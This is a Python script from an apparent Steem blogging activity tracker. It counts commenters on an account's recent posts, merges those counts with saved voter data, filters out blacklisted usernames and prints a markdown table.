import BlogInfo\nfrom blackList import BlackList\n\n\nclass Comments:\n def printRecentCommentors(self, steemNode, account, postCount):\n b = BlogInfo()\n\n commentorDic = {'null': 0}\n\n print('\\n' + 'starting commentors print...')\n blogPosts = b.getBlogPosts(account, postCount)\n\n print('\\n' + 'analyzing blogPosts...')\n if blogPosts is not None:\n\n for post in blogPosts:\n print('\\n' + 'fetching data from post: ' + str(post))\n\n try:\n replies = post.get_replies()\n except:\n print('\\n' + 'failed to get replies')\n print('connection issue with steem database')\n else:\n for r in replies:\n try:\n author = r['author']\n except:\n print('failed to get 1 commentor (connection problem with steem database)')\n else:\n if author not in commentorDic:\n commentorDic[author] = 1\n else:\n commentorDic[author] += 1\n\n print('commentor found: ' + str(author) + ' (' + str(commentorDic[author]) + ' comments)')\n\n print('\\n' + 'printing commentors...')\n\n if 'null' in commentorDic:\n print('removing null')\n del commentorDic['null']\n\n if 'roundbeargames' in commentorDic:\n print('removing roundbeargames')\n del commentorDic['roundbeargames']\n\n if 'hitmanchoi' in commentorDic:\n print('removing hitmanchoi')\n del commentorDic['hitmanchoi']\n\n print(commentorDic)\n print(str(commentorDic.__len__()) + ' commentors found')\n\n print('\\n' + 'merging with voter data')\n saver = Save()\n dicData = saver.read('snapshot.json')\n print('\\n' + 'voter data: ' + str(dicData))\n\n commentors = commentorDic.keys()\n\n for c in commentors:\n if c in dicData:\n print('voter found: ' + str(c))\n listData = dicData[c]\n listData.append(commentorDic[c])\n else:\n print('commented without voting: ' + str(c))\n\n print('\\n' + 'merged data:')\n\n names = dicData.keys()\n blackList = BlackList()\n\n print('|account|votes|comments|')\n print('|---|---|---|')\n for name in names:\n if name in blackList.names:\n pass\n elif dicData[name].__len__() == 1:\n dicData[name].append(0)\n print('|@' + str(name) + '|' + str(dicData[name][0]) + '|' + str(dicData[name][1]) + '|')\n elif dicData[name].__len__() > 1:\n print('|@' + str(name) + '|' + str(dicData[name][0]) + '|' + str(dicData[name][1]) + '|')\n\n print('\\n' + 'blacklist data:')\n for black in blackList.names:\n if black in dicData.keys():\n print('removed: ' + str(black))\n del dicData[black]\n\n print('\\n' + 'accounts after blacklist: ' + str(dicData.__len__()))\n\n saver.save(dicData, 'snapshot.json')\n","sub_path":"activityTrack/comments.py","file_name":"comments.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}